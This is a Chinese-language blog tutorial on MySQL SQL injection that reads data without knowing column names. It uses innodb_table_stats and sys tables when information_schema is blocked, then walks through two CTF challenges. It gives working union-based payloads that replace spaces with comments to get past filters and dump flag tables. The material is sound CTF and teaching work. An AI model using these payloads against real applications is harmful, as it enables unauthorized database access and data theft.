大佬博客

为什么需要无列名注入

我们常用的SQL注入方法是通过infomation_schema这个默认数据库来实现,但是如果过滤了此数据库我们就不能通过这个库来查出表名和列名,不过我们还可以通过两种方法查出表名:

1.InnoDb引擎:

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_statsinnodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

select group_concat(table_name) from mysql.innodb_table_stats;

2.sys数据库

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

但是这两种方法只能查出表名,无法查出列名,这时候就需要我们使用无列名注入。

无列名注入的使用条件

适用于只能查询到数据表,但是无法查询数据列名的情况。

试验展示

正常查询user表的sql语句是select * from user;

image-20240301101134498

用联合查询的方式查询表中的数据select 1,2,3 union select * from user;很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表列名变成了123.

image-20240301101309141

只查一个列的字段值的话我们可以用:

select `2` from (select 1,2,3 union select * from user)xxx;

image-20240301101358425

同时查询多个列

select concat(`2`,`3`) from (select 1,2,3 union select * from user)xxx;

image-20240301101425291

当反引号也被过滤的时候,我们可以使用as取别名进行绕过

select 1 as a,2 as b,3 as c union select * from user;

image-20240301101518978

select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

image-20240301101538291

CTF实战

[HNCTF 2022 WEEK2]easy_sql

开题发现是简单的sql注入

fuzz一下,发现过滤了空格,or还有一些其他东西

1'/**/union/**/select/**/1,2,3/**/where/**/'1

image-20240301153443993

发现回显点是3

因为过滤了or,我们无法使用infomation_schema,这时候采用一下的payload查询

1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

image-20240301153652895

查询到数据库ctf,ctftraining,ctftraining,ctftraining,mysql

进一步查询库名。

1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

image-20240301153753072

查询到库名ccctttfff,flag,news,users,gtid_slave_pos

接下来就是无列名注入。

1'union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)n/**/where/**/'1

image-20240301154211629

[SICTF Round3] hacker

根据提示,flag在flag表内。

fuzz一下,同样过滤了or,这里也是使用无列名注入。

1'/**/union/**/select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)n/**/%23